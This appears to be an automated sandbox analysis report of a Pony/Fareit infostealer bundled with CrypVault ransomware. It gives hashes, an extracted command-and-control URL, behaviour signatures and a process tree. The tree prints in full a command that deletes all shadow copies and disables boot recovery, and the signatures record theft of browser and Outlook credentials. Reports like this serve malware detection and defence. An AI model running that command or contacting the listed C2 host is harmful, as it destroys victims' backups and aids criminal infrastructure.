Analysis

  • max time kernel
    42s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    24-06-2022 04:43

General

  • Target

    D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe

  • Size

    148KB

  • MD5

    d1f6d486c4afb6aca38ee45ed8ae4e3c

  • SHA1

    3343a6203db587c257252d5b493ea16d5ac93e13

  • SHA256

    d7430680c994bc488209aa05c2e72de9ffe5d858111404a2ffb7715bae4f0758

  • SHA512

    634e77f6dc9ff159742cabb90d9c3ce62c5f392b96f2cb01b93d86989369e374e9a473327ece255fc784348e9c3ac710a9e18192b686fc3b264793470d36208d

Malware Config

Extracted

Family

pony

C2

http://dinom.spb.ru/api/index.php

Signatures

  • CrypVault

    Ransomware family which makes encrypted files look like they have been quarantined by AV.

  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE Fareit/Pony Downloader Checkin 2

    suricata: ET MALWARE Fareit/Pony Downloader Checkin 2

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops startup file 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe
    "C:\Users\Admin\AppData\Local\Temp\D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:880
    • C:\Users\Admin\AppData\Local\Temp\D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe
      C:\Users\Admin\AppData\Local\Temp\D7430680C994BC488209AA05C2E72DE9FFE5D85811140.exe
      2⤵
      • Drops startup file
      • Accesses Microsoft Outlook accounts
      • Accesses Microsoft Outlook profiles
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • outlook_win_path
      PID:1496
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\VAULT.hta"
        3⤵
        • Modifies Internet Explorer settings
        PID:1272
      • C:\Windows\SysWOW64\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:692
  • C:\Windows\system32\cmd.exe
    cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:1796
    • C:\Windows\system32\vssadmin.exe
      vssadmin.exe delete shadows /all /quiet
      2⤵
      • Interacts with shadow copies
      PID:1596
    • C:\Windows\system32\bcdedit.exe
      bcdedit.exe /set {default} recoveryenabled no
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:1608
    • C:\Windows\system32\bcdedit.exe
      bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:1752
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1480

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\Desktop\VAULT.hta

    Filesize

    4KB

    MD5

    b71751d104ed8f256ae64a7d02821be0

    SHA1

    bc3e6ac19bf1431a5872597684b2982b8ba07d87

    SHA256

    6a37244fbabb6238f178c7b769b3d0f15c93d70fece941b416c8e71140538004

    SHA512

    b3bee8dd51f874f5677dbb37989077776d0169d97760395d38ab52ac422ce3a9db78df3970a6c1ac6e18538d8e014fc72f3481964976a5f26b2c7e63efe0ffdf

  • memory/880-54-0x0000000075711000-0x0000000075713000-memory.dmp

    Filesize

    8KB

  • memory/880-65-0x0000000000350000-0x0000000000355000-memory.dmp

    Filesize

    20KB

  • memory/1496-60-0x0000000000400000-0x0000000000E28000-memory.dmp

    Filesize

    10.2MB

  • memory/1496-68-0x0000000000400000-0x0000000000E28000-memory.dmp

    Filesize

    10.2MB

  • memory/1496-59-0x0000000000400000-0x0000000000E28000-memory.dmp

    Filesize

    10.2MB

  • memory/1496-63-0x0000000000400000-0x0000000000E28000-memory.dmp

    Filesize

    10.2MB

  • memory/1496-67-0x0000000000400000-0x0000000000E28000-memory.dmp

    Filesize

    10.2MB

  • memory/1496-69-0x0000000000400000-0x000000000041A000-memory.dmp

    Filesize

    104KB

  • memory/1496-62-0x0000000000400000-0x0000000000E28000-memory.dmp

    Filesize

    10.2MB

  • memory/1496-71-0x00000000002B0000-0x00000000002BF000-memory.dmp

    Filesize

    60KB

  • memory/1496-57-0x0000000000400000-0x0000000000E28000-memory.dmp

    Filesize

    10.2MB

  • memory/1496-56-0x0000000000400000-0x0000000000E28000-memory.dmp

    Filesize

    10.2MB

  • memory/1496-55-0x0000000000300000-0x0000000000400000-memory.dmp

    Filesize

    1024KB

  • memory/1496-79-0x0000000000400000-0x000000000041A000-memory.dmp

    Filesize

    104KB